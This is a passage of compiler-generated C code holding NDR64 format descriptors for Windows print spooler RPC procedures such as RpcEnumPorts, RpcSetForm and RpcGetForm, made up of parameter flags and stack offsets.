0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 1 /* 0x1 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinterIC */      /* parameter hPrinterIC */\n        &__midl_frag572,\n        { \n        /* hPrinterIC */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pIn */      /* parameter pIn */\n        &__midl_frag574,\n        { \n        /* pIn */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cIn */      /* parameter cIn */\n        &__midl_frag1082,\n        { \n        /* cIn */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pOut */      /* parameter pOut */\n        &__midl_frag654,\n        { \n        /* pOut */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cOut */      /* parameter cOut */\n        &__midl_frag1087,\n        { \n        /* cOut */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* ul */      /* parameter ul */\n        &__midl_frag1087,\n        { \n        /* ul */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag568_t __midl_frag568 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 160 /* 0xa0 */,\n    (NDR64_UINT8) 1 /* 0x1 */,\n    (NDR64_UINT8) 1 /* 0x1 */\n};\n\nstatic const __midl_frag567_t __midl_frag567 =\n{ \n/* *struct _NDR64_POINTER_FORMAT */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 4 /* 0x4 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag568\n};\n\nstatic const __midl_frag565_t __midl_frag565 =\n{ \n/* RpcCreatePrinterIC */\n    { \n    /* RpcCreatePrinterIC */      /* procedure RpcCreatePrinterIC */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag827,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pHandle */      /* parameter pHandle */\n        &__midl_frag568,\n        { \n        /* pHandle */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pDevModeContainer */      /* parameter pDevModeContainer */\n        &__midl_frag156,\n        { \n        /* pDevModeContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag562_t __midl_frag562 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag645\n};\n\nstatic const __midl_frag561_t __midl_frag561 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag558_t __midl_frag558 =\n{ \n/* RpcDeletePort */\n    { \n    /* RpcDeletePort */      /* procedure RpcDeletePort */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* hWnd */      /* parameter hWnd */\n        &__midl_frag561,\n        { \n        /* hWnd */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortName */      /* parameter pPortName */\n        &__midl_frag645,\n        { \n        /* pPortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1087,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag548_t __midl_frag548 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag547_t __midl_frag547 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag548\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag546_t __midl_frag546 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag547\n};\n\nstatic const __midl_frag542_t __midl_frag542 =\n{ \n/* RpcEnumMonitors */\n    { \n    /* RpcEnumMonitors */      /* procedure RpcEnumMonitors */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pMonitor */      /* parameter pMonitor */\n        &__midl_frag546,\n        { \n        /* pMonitor */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag532_t __midl_frag532 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag966\n};\n\nstatic const __midl_frag528_t __midl_frag528 =\n{ \n/* RpcEnumPorts */\n    { \n    /* RpcEnumPorts */      /* procedure RpcEnumPorts */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag822,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPort */      /* parameter pPort */\n        &__midl_frag532,\n        { \n        /* pPort */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag515_t __midl_frag515 =\n{ \n/* RpcEnumForms */\n    { \n    /* RpcEnumForms */      /* procedure RpcEnumForms */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1082,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pForm */      /* parameter pForm */\n        &__midl_frag546,\n        { \n        /* pForm */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag513_t __midl_frag513 =\n{ \n/* *FORM_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag476\n};\n\nstatic const __midl_frag509_t __midl_frag509 =\n{ \n/* RpcSetForm */\n    { \n    /* RpcSetForm */      /* procedure RpcSetForm */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pFormName */      /* parameter pFormName */\n        &__midl_frag1081,\n        { \n        /* pFormName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pFormInfoContainer */      /* parameter pFormInfoContainer */\n        &__midl_frag476,\n        { \n        /* pFormInfoContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag503_t __midl_frag503 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag502_t __midl_frag502 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag503\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag501_t __midl_frag501 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag502\n};\n\nstatic const __midl_frag496_t __midl_frag496 =\n{ \n/* RpcGetForm */\n    { \n    /* RpcGetForm */      /* procedure RpcGetForm */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        